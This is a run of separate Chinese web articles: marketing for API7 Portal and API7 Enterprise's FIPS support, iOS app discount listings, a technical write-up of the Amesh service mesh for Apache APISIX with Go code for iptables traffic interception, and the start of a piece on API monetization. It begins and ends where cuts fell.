提供的示例代码，能有效帮助开发人员更快速地上手使用 API，减少开发过程中的试错时间。</p> <h3>有效管理和控制 API</h3> <p>一方面，API Provider 能通过 API7 Portal 查看 API Product 的总调用量，也可以查看 API Developer 和 API Product 每天/月的调用量；另一方面，API Developer 能查看消费的 API Product 每天/月的调用量。另外，API Provider 还能为指定的 API Developer 添加指定 API Product 的订阅关系。</p> <p>API7 Portal 具备及时通知的功能，开发人员可以及时获知 API 的启用和停用状态，以及相关的更新。这样一来，开发人员可以及时了解到 API 的最新变化，并及时调整其应用程序，以适应 API 的更新。</p> <p>API7 Portal 允许 API Developer 或终端用户完全控制 API 的使用和身份验证。API Provider 可以定义最终用户和访问标准，也可以预先设定 API 的使用方式，从而最大程度确保 API 的安全性。</p> <p><img src="https://static.apiseven.com/uploads/2023/07/24/ia45aWDK_API7%20Portal%202.png" alt="Manage APIs efficiently with API7 Portal" referrerpolicy="no-referrer"></p> <h3>直观展示 API 的实用性</h3> <p>API7 Portal 提供了直观的界面和交互设计，让用户能轻松浏览不同的 API 产品。通过清晰的导航和可视化的布局，用户可以快速找到他们感兴趣的 API，并了解其功能和用途。</p> <p>同时，API7 Portal 能通过详细的文档和示例，向用户展示 API 的实际应用场景和解决方案。用户可以查看API 的说明文档、使用指南和示例代码，从而更好地理解 API 的功能和如何集成到他们的应用程序中。这种直观展示可以帮助用户评估 API 的适用性，并激发他们对 API 产品的兴趣。</p> <h3>全面监控，提升开发效率</h3> <p>API7 Portal 除了作为用户了解 API 运行状况的仪表盘，还为开发人员提供了一些高级功能，如 API 调试工具和错误日志记录。这些功能可以帮助开发人员快速排查和解决 API 调用中的问题，提高开发效率和调试能力。</p> <p><img src="https://static.apiseven.com/uploads/2023/07/24/ZzdAZre3_API7%20Portal%203.png" alt="Monitoring of API7 Portal" referrerpolicy="no-referrer"></p> <h3>API 货币化</h3> <p>API7 Portal 通过提供 API 商店、计费和收费、分析和数据报告等功能，帮助企业实现货币化。</p> <p>企业能够在 API7 Portal 上发布自己的 API，设置不同的定价套餐，开发人员可以选择想要的套餐下单并支付。此外，企业还能使用 API 分析和数据报告功能，了解其 API 的使用情况，从而优化其 API 并提高其价值。</p> <h2>开始试用 API7 Portal：一站式 API 开发和管理平台</h2> <p>API7 Portal 不仅是一个强大的 API 管理平台，更是一个让企业和开发人员轻松开发、管理和货币化 API 的好助手！它为你提供了一系列高效、安全和可靠的API管理和开发工具，让你在 API 开发的道路上事半功倍。</p> <p>通过 API7 Portal，你可以轻松管理和发布 API，提高 API 的可发现性和使用率，支持 API 测试和调试，促进 API 管理和版本控制，提高 API 的安全性和可靠性。此外，API7 Portal 还提供了一系列货币化功能，如 API 商店、计费和收费、分析和数据报告等，帮助企业实现 API 的货币化。</p> <p>如果你还在为 API 开发和管理的繁琐流程和安全问题而苦恼，那么 API7 Portal 就是你的救星！它提供了无与伦比的 API 解决方案，让你的 API 开发变得更加便捷、高效和安全。</p> <p>试用 <a href="https://api7.ai/portal">API7 Portal</a>，让它成为你的得力帮手，助你在 API 开发的世界中游刃有余！</p>

<p>在当今数字化时代，数据安全成为企业发展中不可忽视的重要因素。用户对数据保护的需求变得迫切，为了满足这一需求，API7 企业版进行了一次突破性的升级。API7 企业版现已全面支持 FIPS（Federal Information Processing Standards，联邦信息处理标准）安全标准，为您业务的数据安全再次升级。</p> <h2>什么是 FIPS 安全标准?</h2> <p>FIPS 作为美国政府机构要求的安全标准，被广泛应用于保护敏感数据和防止数据泄漏。它确保了数据的完整性、机密性和可用性，为企业提供了可靠的数据安全保障。FIPS 标准的引入不仅在美国，也在全球范围内受到高度认可和采用，它的引入正成为企业数据安全保护的重要支柱。</p> <p><strong>支持 FIPS 的好处是多方面的：</strong></p> <ol> <li> <p>提高数据安全性：与 FIPS 标准兼容，采用了先进的加密算法和安全传输协议，确保敏感数据在传输和存储过程中获得最高级别的保护。这意味着企业可以安心地处理敏感数据，防范黑客和恶意活动的入侵和窃取。</p> </li> <li> <p>符合合规要求：在许多行业，如如金融、医疗等，对数据安全有着特殊的合规性要求。通过支持 FIPS 标准，企业能够满足这些行业的合规性标准，确保数据处理符合法规和规定。这不仅有助于避免罚款和法律诉讼，还提高了企业在合规性方面的信誉。</p> </li> <li> <p>信任和可靠性：FIPS 的认证是来自第三方权威机构的验证，这意味着企业的安全性能和数据保护能力经过了严格的测试和确认。获得 FIPS 认证，企业能够在客户和业界中树立良好的声誉，增加信任和可靠性。客户更愿意选择支持 FIPS 标准的企业，因为他们知道自己的数据将得到高水平的保护。</p> </li> </ol> <p><img src="https://static.apiseven.com/uploads/2023/07/21/RlGdQmZZ_img_v2_ff406ee5-9ef3-484c-8fa2-4369371debcg.jpg" alt="API7 Enterprise Enhances Security Control" referrerpolicy="no-referrer"></p> <h2>API7 企业版支持 FIPS 功能亮点</h2> <p>与经过 FIPS 140-2 验证的 OpenSSL 3.0 构建一起使用，API7 企业版成功满足了 FIPS 140-2（Level 1）的高标准要求，致力于保障 SSL/TLS 加密网络流量的解密和加密。其强大的数据加密功能，有效地保护了敏感信息，使其免受未经授权的访问。同时，API7 企业版采用安全的传输协议，保证了数据在传输过程中的安全性，防止数据被窃取或篡改。API7 企业版为企业提供了无与伦比的数据保护解决方案，使企业能够在数字时代保持安全、稳健发展。</p> <h2>成功案例</h2> <p>众多企业纷纷选择了 API7 企业版，并成功将其与 FIPS 标准相结合，在海外业务中取得了显著的效益。以一家跨国金融机构为例，在应用了 API7 企业版的 FIPS 支持后，成功保护了客户敏感数据，提升了客户信任度，并满足了行业的合规要求。</p> <p>API7 企业版对 FIPS 标准的支持体现了 API7 对数据安全的持续关注和不断努力。现在是时候行动起来，升级您的API7 企业版并启用 FIPS 支持，为您的企业数据提供更高层次的安全保护。我们坚信，API7企业版与 FIPS 的完美结合将为您的业务带来更高的安全性和信任度。</p> <p>立即联系我们，了解更多关于API7企业版支持FIPS的信息，并开始保护您的数据安全！API7 企业版与 FIPS 的完美结合，将为您的企业带来数据安全的新标杆，助力您在数字时代取得更大的成功！</p>

<img src="https://media.ifanrusercontent.com/user_files/appsoimg/89/c3/89c3dca80792c6087d0987eef44b3ec395eab8d7-cd80d190b1ef43675659f427325ae53b41034066.jpg" referrerpolicy="no-referrer"> <br> 原价：¥38.00 -&gt; 现价：¥15.00 <br> 平台：iPhone <br> Tape 是一款仿照磁带界面的复古播放器，你可以通过它来播放手机本地的音乐文件，通过视觉效果让你回归童年的复古年代。

<img src="https://media.ifanrusercontent.com/user_files/appsoimg/8f/57/8f57521073c1671d18be094205aa07149d763d7b-a17abfaeb04047e599bc2d5da6674b23cf65e732.jpg" referrerpolicy="no-referrer"> <br> 原价：¥30.00 -&gt; 现价：¥0.00 <br> 平台：iOS Universal <br> 安全保管您最有价值的私密笔记，让他人无法窥探。 用户可以使用 Touch ID 或密码安全上锁，设置安全问题和答案，并将重要笔记备份到 iCloud，在 iPhone 和 iPad 之间快速同步笔记。

<img src="https://media.ifanrusercontent.com/user_files/appsoimg/fb/84/fb84b0430d9571c135145d319a6836cb14e1bbde-4c51b5bb2c048fea9dcae1a64725c1eecd2fccde.jpg" referrerpolicy="no-referrer"> <br> 原价：¥8.00 -&gt; 现价：¥3.00 <br> 平台：iOS Universal <br> Luca 是一款照片编辑应用程序。编辑照片从未如此简单！只需轻点几下，您就可以将普通照片变成专业级照片。

<img src="https://media.ifanrusercontent.com/user_files/appsoimg/db/00/db00ce07572fe0808b43bf0d33165a4b186fcc5b-6d47317abb823b472e8eb47851fdbd961a4deb49.jpg" referrerpolicy="no-referrer"> <br> 原价：¥12.00 -&gt; 现价：¥0.00 <br> 平台：iOS Universal <br> 帮助呼吸冥想的软件，提供方形呼吸（4-4-4-4）、放松呼吸（4-7-8）、婆罗蜜多调息或蜜蜂呼吸以及连贯呼吸四种模式。

<img src="https://media.ifanrusercontent.com/user_files/appsoimg/67/25/6725f2578b8c2e3a86d4fea7651f91741aaa42c0-e0b37c869d7d76767433fef1da314fb5dd55ac6a.jpg" referrerpolicy="no-referrer"> <br> 原价：¥6.00 -&gt; 现价：¥0.00 <br> 平台：iOS Universal <br> 精准水平仪,包含水平管及水平泡两种测量方式。支持 iPhone 和 iPad。

<img src="https://media.ifanrusercontent.com/user_files/appsoimg/84/69/84695956610ac09ffce572dcc6865a97cc5ceb70-6777b703996b8a4d583d51e2e483895f60ef7290.jpg" referrerpolicy="no-referrer"> <br> 原价：¥3.00 -&gt; 现价：¥0.00 <br> 平台：iOS Universal <br> 一款古风古诗词 app ，可以添加小组件，每次锁屏内容都会进行更新。

<img src="https://media.ifanrusercontent.com/user_files/appsoimg/75/de/75de6cdaf4985caaaaaefef382226eb0bfbcc892-56145482706df066b330b65f94d81b2ff51a656a.jpg" referrerpolicy="no-referrer"> <br> 原价：¥22.00 -&gt; 现价：¥0.00 <br> 平台：iPhone <br> 一款帮助睡眠的应用，精选 30 首白噪声音频，也支持本地上传用户收藏的白噪声。

<blockquote> <p>本文介绍了 Service Mesh （服务网格）的发展现状及其优越性和局限性，并阐述 Apache APISIX 的创始团队 API7.ai 用 Go 语言重新实现 Service Mesh 的原因以及具体实现方法。Amesh 是 Apache APISIX 的服务网格库，旨在将 Service Mesh 和 API Gateway 结合，提供一个统一的控制平面来管理微服务的流量和 API 的访问控制。本文对 Amesh 的部分功能实现原理进行了详细说明，主要包括 Amesh 如何让配置在 APISIX 生效、Amesh 如何拦截流量、Amesh 如何扩展 APISIX 原生能力三个方面。</p> <p>作者<a href="https://github.com/tao12345666333">张晋涛</a>，API7.ai 云原生技术专家，Apache APISIX PMC，Kubernetes Ingress-NGINX maintainer，Microsoft MVP，《K8S 生态周报》的维护者。 联合作者<a href="https://github.com/Qizeng-api7">曾琦</a>，API7.ai 全球增长实习生。</p> </blockquote> <h2>Service Mesh 现状</h2> <p>云原生正在推动数字化转型。但越来越多的应用程序和服务使用不同的技术堆栈进行部署，这对系统的交付和管理性能提出了更高的要求。Service Mesh 提供了一个解决方案——它创建了一个专用层，用于处理服务之间的通信，以确保服务的一致性和可靠性。</p> <p>云原生计算基金会 <a href="https://www.cncf.io/">CNCF</a> 在 2021 年底对云原生社区进行了一项微型调查，以了解各组织采用 Service Mesh 的具体情况。在 253 名受访者中，70% 所在的组织在生产或开发环境中采用了 Service Mesh，19% 正在评估。Service Mesh 方案百花齐放，<a href="https://linkerd.io/">Linkerd</a> 和 <a href="https://istio.io/">Istio</a> 占据了主要市场。</p> <p><img src="https://static.apiseven.com/uploads/2023/07/12/ltJ7aIpY_cncf.png" alt="cncf" referrerpolicy="no-referrer"></p> <p>云原生应用公司 <a href="https://www.solo.io/">Solo</a> 对 2022 年 Service Mesh 的使用情况进行了调查，并发布年度调查报告。该报告深入探讨了各大组织采用微服务、使用 Kubernetes 和 Istio 的情况。调查发现，89% 的组织称使用 Service Mesh 对应用程序的可靠性产生了非常积极的影响。近一半的公司（49%）称其正在使用 Service Mesh，38% 的公司正在对 Service Mesh 进行评估。调查结果表明，许多组织正在采用微服务和 Service Mesh，以提高应用程序的可靠性和效率。</p> <p><img src="https://static.apiseven.com/uploads/2023/07/06/Amo2EmMS_solo.png" alt="solo" referrerpolicy="no-referrer"></p> <p>Service Mesh 正在被越来越多的组织采纳或评估。然而，在 Service Mesh 方案采纳过程中也产生了诸多挑战，例如：</p> <table> <thead> <tr> <th>挑战类型</th> <th>挑战类别</th> <th>占比</th> </tr> </thead> <tbody> <tr> <td>工程专业知识和经验短缺</td> <td>非技术挑战</td> <td>47%</td> </tr> <tr> <td>架构和技术复杂性</td> <td>非技术挑战</td> <td>41%</td> </tr> <tr> <td>缺乏指导、蓝图和最佳实践</td> <td>非技术挑战</td> <td>36%</td> </tr> <tr> <td>集成</td> <td>技术挑战</td> <td>32%</td> </tr> <tr> <td>可靠性和一致性</td> <td>技术挑战</td> <td>26%</td> </tr> <tr> <td>定义策略</td> <td>技术挑战</td> <td>22%</td> </tr> <tr> <td>监控和跟踪</td> <td>技术挑战</td> <td>22%</td> </tr> </tbody> </table> <h2>为什么要重新实现 Service Mesh</h2> <h3>背景</h3> <p><a href="https://api7.ai/">API7.ai</a> 是一家提供 API 全生命周期管理服务和产品的公司，旨在为企业提供高效、安全、可靠的 API 管理解决方案。作为 <a href="https://api7.ai/apisix">Apache APISIX</a> 的创始团队，API7.ai 致力于将 API 管理推向更高的境界，提升企业的 API 治理能力。</p> <p>Apache APISIX 是 Apache 基金会的顶级开源项目，是一款高性能易扩展的云原生 API 网关。与传统的 API 网关相比，Apache APISIX 具有更高的性能和更好的扩展性，可以满足企业对于 API 管理的不断增长的需求。</p> <p><img src="https://static.apiseven.com/uploads/2023/07/12/VClHvNsJ_api7.png" alt="api7" referrerpolicy="no-referrer"></p> <h3>重新实现 Service Mesh 的原因</h3> <p>重新实现 Service Mesh 的原因是为了解决现有 Service Mesh 实现的一些问题：</p> <ul> <li> <p><strong>Envoy 进行二次开发的复杂度较高，使得开发和维护 Service Mesh 变得复杂和困难</strong></p> <p>相比之下，Apache APISIX 可以使用任意语言进行插件开发，并且包含近 100 种开箱即用的插件，从而可以更轻松地实现 API 网关和 Service Mesh 的常见功能，简化复杂度。</p> </li> <li> <p><strong>引入 Service Mesh 后，网络损耗是一个需要考虑的问题</strong></p> <p>Apache APISIX 的性能更优，可以降低引入 Istio Service Mesh 后的网络损耗。与 Istio 的数据面 Envoy 相比，Apache APISIX 的数据面处理速度更快，可以更快地响应客户端请求，并减少不必要的网络开销。这对于需要高性能的企业来说尤为重要。</p> </li> <li> <p><strong>构建基于 Apache APISIX 的 Service Mesh 生态是一个自然的发展方向</strong></p> <p>Apache APISIX 已经拥有大量国内外用户，从 API 网关到 Service Mesh 是用户的诉求。通过使用 Apache APISIX 作为 Service Mesh 的数据面，可以更好地管理和控制微服务架构中的 API，提高服务的可观察性、可靠性和安全性。同时，Apache APISIX 生态系统的不断发展也将为用户提供更多的选择和支持，促进 Service Mesh 技术的发展和应用。</p> </li> <li> <p><strong>提供统一技术栈的解决方案，满足客户需求</strong></p> <p>通过重新实现 Service Mesh，API7.ai 可以提供一种集成度更高、性能更优、可扩展性更强的解决方案，帮助客户在 API 管理方面取得更大的成功。同时，重新实现 Service Mesh 还可以更好地支持企业的多云和混合云场景，提高企业的 API 治理能力，并为未来的发展留下更大的空间。</p> </li> </ul> <h2>为什么用 Go 实现 Service Mesh</h2> <p>选择 Go 语言实现 Service Mesh 有以下几个方面的优势：</p> <ol> <li> <p><strong>广泛的库和工具支持：</strong></p> <p>Go 语言拥有丰富的标准库和第三方库，可以方便地实现 Service Mesh 的核心功能，如流量管理、负载均衡、服务发现等。同时，很多知名的开源项目也是使用 Go 语言实现的，如 Kubernetes、Prometheus、Grafana、Jaeger 等，可以方便地集成到 Service Mesh 中，提供完整的监控、追踪和日志功能。</p> </li> <li> <p><strong>易于部署：</strong></p> <p>Go 编译出的二进制文件可以很方便的通过容器部署，很适合在 Service Mesh 场景中使用。</p> </li> <li> <p><strong>性能优势：</strong></p> <p>Go 语言运行时具有轻量级、低延迟、高并发和内存管理等优势，这使得它在 Service Mesh 场景下具有更好的性能表现。在 Service Mesh 中，会有大量的网络请求和数据传输，而 Go 语言的高并发和低延迟可以更好地满足这些需求，提高服务的响应速度和吞吐量。</p> </li> <li> <p><strong>生态丰富：</strong></p> <p>Docker、Kubernetes、Istio 等项目均通过 Go 语言实现，这使得 Go 语言成为云原生生态中的一部分，并且与这些项目的集成更加方便。同时，Go 语言还有许多开源库和工具，可以方便地实现 Service Mesh 中的各种功能。</p> </li> <li> <p><strong>开发效率高：</strong></p> <p>Go 语言具有简单、直观的语法和良好的并发支持，使得开发人员可以更快地实现 Service Mesh 的功能，同时保持代码的清晰和易读性。此外，Go 语言的测试框架和工具链也非常完善，可以更方便地进行单元测试和集成测试，提高代码的质量和稳定性。</p> </li> </ol> <h2>如何用 Go 实现 Service Mesh</h2> <h3>通用架构</h3> <p>在使用 Go 语言实现 Service Mesh 时，首先要确认架构。当前最流行的架构方案是基于 Sidecar 模型的。以下是这套架构的主要组成部分：</p> <ol> <li> <p><strong>Sidecar 模型：</strong></p> <p>Sidecar 模型是 Service Mesh 中最广泛应用的模型之一，它通过在每个服务实例旁边（即 Sidecar）插入一个专门的代理来处理服务间通信和网络相关的问题。</p> </li> <li> <p><strong>Webhook 自动注入：</strong></p> <p>为了方便使用，可以通过 Webhook 实现 Sidecar 代理的自动注入。Webhook 是一种机制，可以在 Kubernetes 集群中根据特定事件（如 Pod 的创建或更新）自动调用一段预定义的代码。利用 Webhook，可以在 Pod 创建或更新时自动注入 Sidecar 代理，减少人工干预和配置错误。</p> </li> <li> <p><strong>流量代理和拦截：</strong></p> <p>在 Sidecar 代理中，可以实现流量代理和拦截的功能。流量代理是指在 Sidecar 代理中实现负载均衡、服务发现等功能，将服务请求转发到正确的目标服务上。流量拦截是指在 Sidecar 代理中实现流量控制、安全策略等功能，对请求进行拦截和过滤，保证服务的安全性和稳定性。</p> </li> <li> <p><strong>Controller：</strong></p> <p>Controller 是 Service Mesh 的控制平面，负责处理配置翻译和服务发现等问题。可以使用 Istio 等 Service Mesh 控制器，来管理和配置 Sidecar 代理，以便它们能够协同工作，提供服务发现、负载均衡、故障恢复和安全性等功能。</p> </li> </ol> <h3>配置规范SMI</h3> <p>SMI（Service Mesh Interface）是一套中立的 Service Mesh 配置规范，旨在为不同的 Service Mesh 提供一致的 API 接口，使得开发人员可以更方便地管理和控制 Service Mesh 中的各种功能和策略。SMI 定义了一组 API 和 CRD（Custom Resource Definition）规范，包括 TrafficTarget、TrafficSplit、TrafficSpec 等资源对象，用于描述流量目标、流量划分和流量规范等概念。通过 SMI，不同的 Service Mesh 实现可以提供一致的 API 接口，使得开发人员可以更容易地编写跨 Service Mesh 的应用程序。</p> <p><img src="https://static.apiseven.com/uploads/2023/07/04/X0mg0065_smi.png" alt="SMI" referrerpolicy="no-referrer"></p> <p>目前，众多开源项目已经适配了 SMI 规范，如 Istio、Linkerd、Consul 等，这使得开发人员可以在不同的 Service Mesh 中使用相同的 API 接口，从而提高了应用程序的可移植性和互操作性。特别地，Open Service Mesh（OSM）是一个基于 SMI 规范的 Service Mesh 实现，它通过 SMI 规范提供了一组标准的 API 接口，可以与不同的 Service Mesh 实现进行集成，从而提供更灵活、可扩展的 Service Mesh 解决方案。</p> <p>尽管很多开源项目都对 SMI 规范做了适配，但是 SMI 规范目前最为主要的实现—— Open Service Mesh 项目被归档了。</p> <h2>我们有哪些收获</h2> <p>首先，我们认识到全新采用 Sidecar 模型的通用型 Service Mesh 很难在短时间内展露头角。虽然 Sidecar 模型在 Service Mesh 中应用广泛，但是实现一套通用的 Service Mesh 还需要时间和经验的积累。这个结论并不适用于企业内自研的方案，因为每个企业的需求和场景都是不同的。</p> <p>其次，我们发现 SMI 规范在度过“甜蜜期”后，后续投入很少。虽然 SMI 规范是一个有价值的 Service Mesh 配置规范，但是在实际应用中，它也面临着一些挑战和限制。例如，SMI 规范并不涵盖所有的 Service Mesh 功能和策略，因此一些特定的需求和场景可能需要自定义扩展。Gateway API（GAMMA）成为了主要的方向。Gateway API 是一个 Kubernetes 设计的新 API 规范，可以用于配置和管理网关和负载均衡器等网络设备。它提供了一种通用的方式来管理和控制服务网格中的流量和策略，可以与 Service Mesh 集成，提供更灵活、可扩展的网络解决方案。</p> <p>此外，我们认识到借力社区会更利于开源项目的发展。在开源项目中，社区和用户的参与非常重要，可以为项目提供更多的反馈和支持。例如，Apache APISIX 具有良好的社区支持和用户基础，可以为项目的发展提供更多的动力和资源。同时，Apache APISIX 的优势在于数据面，可以为 Service Mesh 提供更高效、可靠、安全的数据代理服务。使用 Apache APISIX 替换 Envoy 成为 Istio 的数据面是一条相对有效的路径。Istio 是一个非常流行的 Service Mesh 实现，具有广泛的社区和用户基础。使用 Apache APISIX 替换 Envoy 作为 Istio 的数据面，可以为 Istio 提供更高效、可靠、安全的数据代理服务，同时提高 Istio 的性能和可扩展性。</p> <h2>Amesh 的开发及实现</h2> <h3>什么是 Amesh</h3> <p>Amesh（https://github.com/api7/amesh）是 Apache APISIX 的服务网格库。它适配了 xDS 协议，可以从诸如 Istio 的控制平面中接收数据，并生成 APISIX 所需的数据结构，使得 APISIX 能够在服务网格领域作为数据面发挥作用。依靠 Amesh，APISIX 可以工作在服务网格模式下，不使用传统的 etcd 作为数据中心，而是使用 shdict 与 Amesh 库直接进行数据交换，避免了额外的性能损耗，使得大规模部署成为可能。</p> <p>通过使用 Amesh，可以在服务网格领域获得 APISIX 具备的高性能、丰富的流量管理功能、易扩展性等多种优势。</p> <h3>Amesh 如何实现</h3> <p>Amesh 是一个开源项目，旨在将 Service Mesh 和 API Gateway 结合起来，提供一种简单而强大的方式来管理和保护微服务。下图为 Amesh 架构图：</p> <p><img src="https://static.apiseven.com/uploads/2023/07/12/MNqDVm2z_amesh.png" alt="Amesh-architecture" referrerpolicy="no-referrer"></p> <ol> <li> <p><strong>Amesh 支持 xDS API:</strong></p> <p>xDS API 是一种通用的 API，用于配置和管理 Service Mesh 中的各种资源。Amesh 支持 EDS、RDS、SDS、LDS 等 xDS API，这使得它能够与多种 Service Mesh 平台进行集成。</p> </li> <li> <p><strong>Amesh 将通过 xDS API 下发的数据转义为 APISIX 的配置:</strong></p> <p>APISIX 是一个高性能的 API 网关，它支持多种协议和数据格式。通过将 xDS API 下发的数据转义为 APISIX 的配置，Amesh 可以让 APISIX 生效，并通过 APISIX 对微服务进行管理和保护。</p> </li> <li> <p><strong>Amesh 可以让 Istio 感知到自己的存在:</strong></p> <p>在部署 Amesh 时，可以注入相应的 yaml 文件。这个文件包含了部署 Amesh 所需的所有资源和配置信息，可以帮助用户轻松地将 Amesh 部署到自己的环境中。通过注入这个文件，用户可以快速地启动和配置 Amesh，并开始使用它提供的微服务管理和保护功能。</p> </li> </ol> <h3>Amesh 如何让配置在 APISIX 生效</h3> <p>为了让 Amesh 的配置在 APISIX 中生效，首先需要将 Amesh 构建为 .so 文件，并将 Amesh 作为共享库挂载至 APISIX。在这个过程中，Amesh 使用了 NGINX lua_shared_dict，这是一种能够在 NGINX 中开辟内存空间的技术。通过将 Amesh 构建为共享库，并将其挂载至 APISIX，我们可以让 Amesh 的配置在 APISIX 中生效。</p> <p>为实现 Amesh 和 APISIX 之间的数据交换，Amesh 使用了 NGINX FFI（Foreign Function Interface）技术。它使得不同编程语言之间可以进行互操作。通过 FFI，Amesh 与 APISIX 之间可以通过 C 接口进行调用，并使用相同的内存空间进行数据交换。</p> <pre><code class="language-go">func (s *SharedDictStorage) Store(key, value string) { if s.zone == nil { log.Warnw("zone is nil") return } var keyCStr = C.CString(key) defer C.free(unsafe.Pointer(keyCStr)) var keyLen = C.size_t(len(key)) var valueCStr = C.CString(value) defer C.free(unsafe.Pointer(valueCStr)) var valueLen = C.size_t(len(value)) errMsgBuf := make([]*C.char, 1) var forcible = 0 C.ngx_lua_ffi_shdict_store(s.zone, 0x0004, (*C.uchar)(unsafe.Pointer(keyCStr)), keyLen, 4, (*C.uchar)(unsafe.Pointer(valueCStr)), valueLen, 0, 0, 0, (**C.char)(unsafe.Pointer(&amp;errMsgBuf[0])), (*C.int)(unsafe.Pointer(&amp;forcible)), ) } </code></pre> <h3>Amesh 如何拦截流量</h3> <p>函数会判断是否有需要拦截的端口。如果没有，则直接返回。</p> <p>如果需要拦截的端口是 *，表示需要拦截所有端口的流量。此时，函数会插入一些规则来确保 SSH 流量不会被重定向。然后，函数会遍历需要排除的端口，并为它们插入规则，将流量直接返回。最后，函数会将所有流量重定向到 InboundRedirectChain 中。</p> <p>如果需要拦截的端口不是 *，则表示只需要拦截特定端口的流量。函数会遍历所有需要拦截的端口，并为它们插入规则，将流量重定向到 InboundRedirectChain 中。</p> <pre><code class="language-go">func (ic *iptablesConstructor) insertInboundRules() { if ic.cfg.InboundPortsInclude == "" { return } ic.iptables.AppendRuleV4(log.UndefinedCommand, PreRoutingChain, "nat", "-p", "tcp", "-j", InboundChain) if ic.cfg.InboundPortsInclude == "*" { // Makes sure SSH is not redirected ic.iptables.AppendRuleV4(log.UndefinedCommand, InboundChain, "nat", "-p", "tcp", "--dport", "22", "-j", "RETURN") if ic.cfg.InboundPortsExclude != "" { for _, port := range split(ic.cfg.InboundPortsExclude) { ic.iptables.AppendRuleV4(log.UndefinedCommand, InboundChain, "nat", "-p", "tcp", "--dport", port, "-j", "RETURN") } } ic.iptables.AppendRuleV4(log.UndefinedCommand, InboundChain, "nat", "-p", "tcp", "-j", InboundRedirectChain) } else { for _, port := range split(ic.cfg.InboundPortsInclude) { ic.iptables.AppendRuleV4( log.UndefinedCommand, InboundChain, "nat", "-p", "tcp", "--dport", port, "-j", InboundRedirectChain, ) } } } </code></pre> <h3>Amesh 如何扩展 APISIX 原生能力</h3> <p>为了扩展 APISIX 的原生能力，Amesh 项目创建了一个自定义资源 AmeshPluginConfig，该资源可以贴合 APISIX 的原生语义，并且可以配置时同步生效。同时，AmeshPluginConfig 还支持 APISIX 原生及扩展功能。</p> <pre><code class="language-go">func NewAmeshPluginConfigController(cli client.Client, scheme *runtime.Scheme, clientset clientset.Interface, kubeClient kubernetes.Interface, podInformer v1informer.PodInformer, ameshPluginConfigInformer ameshv1alpha1informer.AmeshPluginConfigInformer) *AmeshPluginConfigReconciler { eventBroadcaster := record.NewBroadcaster() eventBroadcaster.StartRecordingToSink(&amp;typedcorev1.EventSinkImpl{Interface: kubeClient.CoreV1().Events("")}) c := &amp;AmeshPluginConfigReconciler{ Client: cli, clientset: clientset, recorder: eventBroadcaster.NewRecorder(scheme, v1.EventSource{Component: "AmeshPluginConfigReconciler"}), Log: ctrl.Log.WithName("controllers").WithName("AmeshPluginConfig"), Scheme: scheme, podInformer: podInformer, selectorCache: utils.NewSelectorCache(ameshPluginConfigInformer.Lister()), pluginsCache: map[string]*types.PodPluginConfig{}, } } </code></pre> <h2>总结</h2> <p>Service Mesh 是一个解决多种云原生环境下服务通信与管理的方案。它凭借着自身优势正在被越来越多的组织采纳或评估。然而，Service Mesh 也面临着诸多挑战。Envoy 进行二次开发的复杂度较高，使得开发和维护 Service Mesh 变得复杂和困难。同时，客户也希望能够有统一技术栈的解决方案。因此，API7.ai 决定充分发挥 APISIX 的优势，对 Istio 中的 Envoy 进行替代。</p>

<img src="https://media.ifanrusercontent.com/user_files/appsoimg/46/46/46467a28aa75c043adbc121b0fb4575cd513fb94-6b2d199d12d2815084fb6731bc2e11d258917c43.jpg" referrerpolicy="no-referrer"> <br> 原价：¥15.00 -&gt; 现价：¥8.00 <br> 平台：iPhone <br> 一款清新文艺的胶卷相机 app。模仿旧时的底片式摄影，即拍即冲洗，滤镜带有浓浓的复古风，还可以为照片加上日期水印。

<img src="https://media.ifanrusercontent.com/user_files/appsoimg/d2/04/d2049069a66b5730a13398d6556624cbc1816d18-80478fe353f5ce6d8a066f4dc913ea5aea237e40.jpg" referrerpolicy="no-referrer"> <br> 原价：¥1.00 -&gt; 现价：¥0.00 <br> 平台：iOS Universal <br> 在 Apple Watch 也能浏览网页

<img src="https://media.ifanrusercontent.com/user_files/appsoimg/94/fb/94fbad089c865718503393f29240170ee44deb94-dfb8c7c4ab86a2c55d22d37fe4bd617411f7e1ee.jpg" referrerpolicy="no-referrer"> <br> 原价：¥3.00 -&gt; 现价：¥0.00 <br> 平台：iPhone <br> 一款证件照制作软件，提供百余种官方指定证照规格，傻瓜式操作智能抠图，用户可免费保存无水印电子证件照到手机相册。

<p>像 ChatGPT 这样的智能对话引擎已经成为 AI 行业中炙手可热的应用，并有逐渐成为下一代流量和交互入口的趋势。近期 ChatGPT 还开放了插件体系，可以通过 API(Application Programming Interface) 的方式连接第三方服务，让用户通过 ChatGPT 实现订票、购物、查询天气、制定旅行计划、企业服务等操作，为企业和开发者带来了巨大的商业机遇。</p> <p>如何尽快融入 ChatGPT 的插件体系及生态，并充分挖掘和变现由 ChatGPT 带来的爆炸式增长的 API 调用量，已经成为了一项热门议题。</p> <p>在 API 货币化的实践中，API Portal 作为连接和管理 API 的关键技术，发挥着重要的作用。API Portal 提供了对 API 的安全性、性能、监控和控制的支持，帮助企业和开发者更好地管理和变现 API 调用量。</p> <p>本文将深入探讨 API 货币化的概念和实现方式，并重点介绍如何基于 API Portal 来实现 API 货币化，充分利用 API 调用量的商业机遇和价值，为企业和开发者在 ChatGPT 时代开辟新的商业模式和盈利途径。</p> <h2>什么是 API 货币化？和 API Portal 有什么关系？</h2> <p>API 货币化是指将 API 调用量转化为商业价值的过程。随着 API 调用量的急速增长，越来越多的企业和开发者意识到，API 不仅仅是一种技术工具，更是一种潜在的商业机会。</p> <p>通过将 API 调用量变现，企业和开发者可以实现新的盈利模式，如 API 订阅、API 付费计划、API 广告、API 交易等，从而获得额外的收入来源。</p> <p>在实现 API 货币化过程中，API Portal 发挥着关键的作用。API Portal 是一种用于连接和管理 API 的技术，充当了 API 调用的入口。它提供了对 API 的安全性、性能、监控和控制的支持，帮助企业和开发者更好地管理和变现 API 调用量。</p> <p>在实现 API 货币化时，API Portal 可以提供以下关键功能:</p> <ol> <li>收费管理: API Portal 可以通过对 API 调用次数、流量或功能的计量和收费管理，实现对 API 的付费控制。企业和开发者可以通过 API Portal 设定不同的价格和计费模式，如按次收费、按月订阅、按流量计费等，灵活地定价和收费，从而实现对 API 调用的商业变现。</li> <li>访问控制: API Portal 可以实现对 API 的访问控制，包括用户认证、授权和权限管理。企业和开发者可以通过 API Portal 设置用户认证机制，限制只有授权的用户才能访问 API，从而保护 API 的安全性和防止未授权访问。</li> <li>API 监控和报告: API Portal 可以提供对 API 调用的实时监控和报告功能，帮助企业和开发者了解 API 的使用情况，包括调用量、性能指标、错误率等。这可以帮助企业和开发者做出合理的商业决策，优化 API 